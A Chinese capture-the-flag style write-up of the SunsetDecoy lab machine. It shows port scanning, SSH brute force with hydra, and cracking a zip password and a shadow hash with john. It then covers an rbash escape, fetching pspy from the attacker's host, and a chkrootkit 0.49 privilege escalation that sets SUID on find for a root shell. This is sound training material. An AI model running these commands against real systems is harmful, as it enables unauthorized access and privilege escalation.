OSCP系列靶场-Esay-SunsetDecoy保姆级

news2025/1/14 18:05:07

OSCP系列靶场-Esay-SunsetDecoy保姆级

目录

  • OSCP系列靶场-Esay-SunsetDecoy保姆级
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用
        • 22-SSH协议支持的登录方式
        • 22-SSH手动登录尝试(无)
        • 22-SSH弱口令爆破(静静等待)
      • 80-HTTP端口的信息收集
        • 暴力破解-hash密码破解
    • 漏洞利用-getwebshell
      • passwd用户名收集
      • shadow加密密码收集
      • john暴力破解
      • 22-SSH账号密码登录
    • 内网遨游-getshell
      • SSH连接受限逃逸
        • SSH连接受限伪终端逃逸
      • FLAG1获取
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 检测当前用户的权限
        • 列举出所有的sudo文件
        • 列举出所有suid文件
        • getcap标志进程收集
        • 列举定时任务
        • 寻找root权限进程
        • 查看历史信息(无)
        • 确认/home目录下信息
          • 确认当前用户home目录下是否有隐藏文件
      • Pspy查看进程
      • 权限提升
      • chkrootkit提权
      • FLAG2获取
    • 总结

总结

getwebshell : 发现zip文件 → zip存在密码 → john爆破zip密码 → 发现passwdshadow文件 → 爆破shadow密码 → ssh登录

提 权 思 路 : 发现后台运行程序 → 上传pspy64查看 → 发现chkrootkitchkrootkit提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

  • 启动靶机
    获取目标机器IP → 192.168.190.85

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.190.85

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


开放的端口->22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.190.85

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 
80/tcp open  http    Apache httpd 2.4.38

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2

# 搜索对应脚本
msf6 > searchsploit openssh 7.9p1

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.190.85</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.190.85</span> -p 22
# 密码尝试
password &gt; root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.85 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集

访问 http://192.168.190.85:80 不是CMS,访问发现了一个zip


利用wget下载

wget http://192.168.190.85/save.zip


尝试打开发现需要密码

┌──(root㉿Kali)-[/home/bachang/SunsetDecoy]
└─# unzip save.zip 
Archive:  save.zip
[save.zip] etc/passwd password: 

暴力破解-hash密码破解

# 利用zip2john将zip转换
zip2john save.zip  →  password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt password.hash

得到了密码manuel

进行解压

┌──(root㉿Kali)-[/home/bachang/SunsetDecoy]
└─# unzip save.zip                                             
Archive:  save.zip
[save.zip] etc/passwd password: 
  inflating: etc/passwd              
  inflating: etc/shadow              
  inflating: etc/group               
  inflating: etc/sudoers             
  inflating: etc/hosts               
 extracting: etc/hostname            

从名字上来看是里面的账号密码信息

漏洞利用-getwebshell

passwd用户名收集

┌──(root㉿Kali)-[/home/bachang/SunsetDecoy]                └─# cat etc/passwd                                         
root:x:0:0:root:/root:/bin/bash     
...
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
296640a3b825115a47b68fc44501c828:x:1000:1000:,,,:/home/296640a3b825115a47b68fc44501c828:/bin/rbash

通过etc/passwd我们可以收集到用户名

shadow加密密码收集

┌──(root㉿Kali)-[/home/bachang/SunsetDecoy]                └─# cat etc/shadow    
....
colord:*:18440:0:99999:7:::
hplip:*:18440:0:99999:7:::
systemd-coredump:!!:18440::::::
296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::

shadow中我们会得到加密的密码

john暴力破解

# 利用echo变成hash方便暴力破解
echo '296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::' &gt; passwd.txt
# 利用john离线破译txt密码
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt


得到了密码 server

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh 296640a3b825115a47b68fc44501c828<span class="label label-primary">@192.168.190.85</span> -p22
password → server

内网遨游-getshell

连接之后发现是rbash

SSH连接受限逃逸

SSH连接受限伪终端逃逸

SSH连接到远程服务器上发现各种命令受限利用-t逃逸

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh 296640a3b825115a47b68fc44501c828<span class="label label-primary">@192.168.190.85</span> -p22 -t "bash --noprofile"
password → server
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

连接进来之后没有找到命令说明要配置环境变量


目前的环境变量可以发现在本地,零时修改一下

FLAG1获取

296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ find / -name local.txt 2&gt;/dev/null
/home/296640a3b825115a47b68fc44501c828/local.txt
296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ cat local.txt
f750ece6f4ea704c2902f5f7f6c10d2d

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ uname -a
Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ id
uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) groups=1000(296640a3b825115a47b68fc44501c828)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ sudo -l

sudo: unable to resolve host 60832e9f188106ec5bcc4eb7709ce592: Name or service not known

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for 296640a3b825115a47b68fc44501c828: 
Sorry, try again.
[sudo] password for 296640a3b825115a47b68fc44501c828: 
Sorry, user 296640a3b825115a47b68fc44501c828 may not run sudo on 60832e9f188106ec5bcc4eb7709ce592.

发现不行

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ find / -perm -u=s -type f 2&gt;/dev/null
/usr/bin/newgrp
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/fusermount
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ /usr/sbin/getcap -r / 2&gt;/dev/null
/usr/bin/ping = cap_net_raw+ep

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

寻找root权限进程

# 调整行列,方便查询进程
stty rows 50 cols 250
# 查找进程,是否存在root权限进程
ps aux | grep root

查看历史信息(无)

可能用户留下的历史信息具有有用的信息

history

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ ls -al /home

drwxr-xr-x  2 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4096 Aug 27  2020 296640a3b825115a47b68fc44501c828
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ ls -al
total 56
drwxr-xr-x 2 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828  4096 Aug 27  2020 .
drwxr-xr-x 3 root                             root                              4096 Jun 27  2020 ..
lrwxrwxrwx 1 root                             root                                 9 Jul  7  2020 .bash_history -&gt; /dev/null
-rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828   220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828  3583 Jun 27  2020 .bashrc
-rwxr-xr-x 1 root                             root                             17480 Jul  7  2020 honeypot.decoy
-rw------- 1 root                             root                              1855 Jul  7  2020 honeypot.decoy.cpp
lrwxrwxrwx 1 root                             root                                 7 Jun 27  2020 id -&gt; /bin/id
lrwxrwxrwx 1 root                             root                                13 Jun 27  2020 ifconfig -&gt; /bin/ifconfig
-rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828    33 Jul 30 10:37 local.txt
lrwxrwxrwx 1 root                             root                                 7 Jun 27  2020 ls -&gt; /bin/ls
lrwxrwxrwx 1 root                             root                                10 Jun 27  2020 mkdir -&gt; /bin/mkdir
-rwxr-xr-x 1 root                             root                               807 Jun 27  2020 .profile
-rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828    66 Jun 27  2020 .selected_editor
-rwxrwxrwx 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828    32 Aug 27  2020 user.txt

看到了一个可疑的文件,具有执行和读取功能


在无法读取的情况下尝试运行

296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:~$ ./honeypot.decoy
--------------------------------------------------

Welcome to the Honey Pot administration manager (HPAM). Please select an option.
1 Date.
2 Calendar.
3 Shutdown.
4 Reboot.
5 Launch an AV Scan.
6 Check /etc/passwd.
7 Leave a note.
8 Check all services status.

发现有几个功能


发现5具有交互,会进行执行,但是我看不到


系统会通知我们扫描将在 60 秒内启动。这暗示有一个正在运行的进程,我们可能想要仔细研究

Pspy查看进程

Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。
wget  https://github.com/DominicBreuker/pspy.git
# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 下载
wget http://192.168.45.194:80/pspy64
# 给权限
chmod +x pspy64
# 运行
./pspy64

上传pspy64之后运行脚本


查看是否有进程进行

发现执行了/bin/sh /root/chkrootkit-0.49/chkrootkit

权限提升

chkrootkit提权

发现程序中会进行chkrootkit

searchsploit chkrootkit

可以发现正好有0.49

cat /usr/share/exploitdb/exploits/linux/local/33899.txt  

仔细查看说在/tmp下放置一个update的文件会以root权限运行
那么构造一个恶意的update可以让我权限提升

# 移动
cd /tmp
# 写提权
echo '#!/bin/sh
chmod +s /usr/bin/find' &gt; update
# 加执行
chmod +x update
# 查看find权限
which find
ls -al /usr/bin/find
# find-suid提权
find . -exec /bin/bash -p \; -quit

296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:/tmp$ ls -al /usr/bin/find
-rwsr-sr-x 1 root root 315904 Feb 16  2019 /usr/bin/find
296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:/tmp$ 
296640a3b825115a47b68fc44501c828<span class="label label-primary">@60832e9f188106ec5bcc4eb7709ce592</span>:/tmp$ find . -exec /bin/bash -p \; -quit
bash-5.0# id
uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) euid=0(root) egid=0(root) groups=0(root),1000(296640a3b825115a47b68fc44501c828)
bash-5.0# 

提权成功

FLAG2获取

bash-5.0# cat /root/proof.txt
462b67a92407c2b0d746f9298fbfa2f6

完结撒花~

总结

当没有思路的时候,可以上传pspy64来尝试发现root下运行的进程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/998622.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

离子风蛇是什么?

离子风蛇是一种坐立式静电消除器&#xff0c;可手动将蛇管变形使风蛇指向目标方向&#xff0c;让离子气流直流吹向目标表面&#xff0c;方便移动&#xff0c;适用于工厂车间、电子行业、半导体行业、薄膜、卷料、分切等行业。可安放于各种工作区域&#xff0c;除静电除尘效果好…

【大虾送书第九期】速学Linux:系统应用从入门到精通

目录 &#x1f36d;写在前面 &#x1f36d;为什么学习Linux系统 &#x1f36d;Linux系统的应用领域 &#x1f36c;&#xff11;.Linux在服务器的应用 &#x1f36c;&#xff12;.嵌入式Linux的应用 &#x1f36c;&#xff13;.桌面Linux的应用 &#x1f36d;Linux的版本选择 &a…

你不能不了解的Java23中设计模式之【抽象工厂模式】

目录 一.介绍抽象工厂模式 1.概念 2.结构&#xff1a; 抽象工厂模式包含以下角色&#xff1a; 3.工作原理&#xff1a; 4.应用场景&#xff1a; 抽象工厂模式适用于以下情况&#xff1a; 5.使用方法&#xff1a; 二.具体实例通过抽象工厂模式实现计算器 1.创建Maven工程…

【C++--类和对象】构造函数析构函数

先来介绍一下类和对象中的六个默认成员函数&#xff1a;构造函数&#xff0c;析构函数&#xff0c;拷贝构造&#xff0c;赋值重载&#xff0c;普通对象取地址重载&#xff0c;const修饰对象取地址重载 这六类函数都是在我们没有显示定义的时候&#xff0c;编译器会自己生成的函…

有什么好用的电容笔?apple pencil替代品推荐

近年来&#xff0c;电容笔越来越成为人们日常生活中常见的数码产品之一。电容笔的便捷性得到了消费者的认可。它逐渐取代无纸化书写。那么到底电容笔哪个品牌好呢&#xff0c;电容笔哪一款最好用呢&#xff0c;今天小编给大家总结几款市面好用的电容笔&#xff0c;让我们一起来…

什么是SPA单页面,优缺点是什么?如何实现?

目录 一、SPA的优点 二、SPA的缺点 三、SPA和MPA的区别 四、如何实现SPA应用 单页面应用程序&#xff08;SPA&#xff09;是一种基于Web的软件架构&#xff0c;其中只有一个页面&#xff0c;通过不同的路由和组件来展示不同的内容。SPA的应用非常广泛&#xff0c;例如在网页…

PCB layout在布线上的设计规范有哪些?

PCB Layout是一项技术活&#xff0c;也是经验活&#xff0c;良好的PCB Layout布线可帮助工程师确保最终的电路板性能、可靠性和制造质量&#xff0c;因此是很多电子工程师的学习重点&#xff0c;下面我们来盘点下PCB Layout关于布线的规范有哪些。 1、地管的引脚接地越短越好&a…

YOLO目标检测——路标数据集+已标注voc和yolo格式标签下载分享

实际项目应用&#xff1a;自动驾驶、视频监控和安防、物体识别和分类、城市规划和地理信息系统等等数据集说明&#xff1a;YOLO路标目标检测数据集&#xff0c;真实场景的高质量图片数据&#xff0c;数据场景丰富&#xff0c;图片格式为jpg&#xff0c;共900张图片&#xff0c;…

DPText-DETR: 基于动态点query的场景文本检测,更高更快更鲁棒 | 京东探索研究院

针对场景文本检测任务&#xff0c;近期基于DEtection TRansformer (DETR) 框架预测控制点的研究工作较为活跃。在基于DETR的检测器中&#xff0c;query的构建方式至关重要&#xff0c;现有方法中较为粗糙的位置先验信息构建导致了较低的训练效率以及性能。除此之外&#xff0c;…

Tomcat源码:CoyoteAdapter、Valve#invoke、ApplicationFilterChain

前文&#xff1a; 《Tomcat源码&#xff1a;启动类Bootstrap与Catalina的加载》 《Tomcat源码&#xff1a;容器的生命周期管理与事件监听》 《Tomcat源码&#xff1a;StandardServer与StandardService》 《Tomcat源码&#xff1a;Container接口》 《Tomcat源码&#xff1a…

在32位Windows中,DLL是如何导出的?

32 位 Windows 的设计者不必担心将所有内容压缩到 256KB 的内存中。由于 Win32 中的模块基于需求分页&#xff0c;因此你所要做的就是将整个映像映射到内存中&#xff0c;然后运行访问所需的部分。 DLL中的常驻名(resident name)和非常驻名(non-resident name)之间没有区别&am…

5.4 【MySQL】页目录

记录在页中按照主键值由小到大顺序串联成一个单链表&#xff0c;如果我们想根据主键值查找页中的某条记录&#xff0c;可以这样查询&#xff1a; SELECT * FROM page_demo WHERE c1 3; 我们平常想从一本书中查找某个内容的时候&#xff0c;一般会先看目录&#xff0c;找到需…

Docker配置阿里云镜像加速器

Docker配置阿里云镜像加速器 《Docker安装详细步骤》&#xff1a;Docker安装详细步骤_周十一.的博客-CSDN博客、 在前面博文已经介绍了docker 的安装&#xff0c;因为某些原因&#xff0c;我们下载镜像比较慢&#xff0c;今天给大家介绍一下&#xff0c;如何配置阿里云的镜像加…

解决Ubuntu无法安装pycairo和PyGObject

环境&#xff1a;虚拟机Ubuntu20.04&#xff0c;vscode无法安装pycairo和PyGObject 虚拟机Ubuntu20.04&#xff0c;vscode中运行Anaconda搭建的vens 的Python3.8.10 首先在vscode中点击ctrlshiftp&#xff0c;选择Python3.8.10的环境&#xff0c;自动激活Python 最近在搞无人…

在Linux和Windows上安装seata

1 前言 官网地址&#xff1a;https://seata.io/ 源码地址&#xff1a;https://github.com/seata/seata 官网手册&#xff1a;https://seata.io/zh-cn/docs/ops/deploy-guide-beginner.html Seata&#xff0c;一款开源的分布式事务解决方案&#xff0c;致力于提供高性能和简…

STM32CubeProgrammer 用ST-LINK不能烧录 解决方法

如下图所示&#xff0c;连接ST-LINK后可以认出Serial number&#xff0c;点击Connect后&#xff0c;显示“Error : Data read failed”&#xff0c;点击Download后&#xff0c;显示“Error: failed to download Segment[0]”。 此为正常现象&#xff0c;因为芯片加密&#xff0…

docker 容器编排工具 docker-compose从0到精通

compose简介 Docker-Compose 项目是Docker官方的开源项目&#xff0c;负责实现对Docker容器集群的快速编排。 Docker-Compose 项目由 Python 编写&#xff0c;调用 Docker 服务提供的API来对容器进行管理。因此&#xff0c;只要所操作的平台支持 Docker API&#xff0c;就可以…

redis高可用之主从复制、哨兵模式、集群的概述及部署

目录 redis集群有三种模式 一、主从复制 1、主从复制的概念 2、主从复制的作用 3、主从复制的流程 4、主从复制的缺陷 5、搭建redis主从复制 二、redis 哨兵模式 1、哨兵模式的概念 2、哨兵模式的作用 3、故障转移机制 4、搭建Redis 哨兵模式 三、redis集群 1、r…

iOS开发Swift-12-列表UI,TableViewController,动态响应Button勾选-待办事项App(1)

1.创建新项目 为项目添加图标 2.将Table View Controller添加到界面中 将箭头移动到Table View上来,代表它是首页(根页面).选中ViewController,点击Delete,对它进行删除.将代码ViewController.swift也删除掉. 新建一个Cocoa Touch Class. 将TableViewController的cla…

记LGSVL Map Annotation(1) LGSVL本地编译记录、安装

主要的编译参考来着官方文件 Unity安装 安装unity hub 安装2020.3.3f1在unity hub上 但是我发现没有2020.3.3f1&#xff0c;只有2020.3.3f1c1&#xff0c;其实c1就是中国版&#xff0c;没有什么影响 GIT安装 安装GIT安装Git LFS验证git-lfs(输出Git LFS initialized就&am…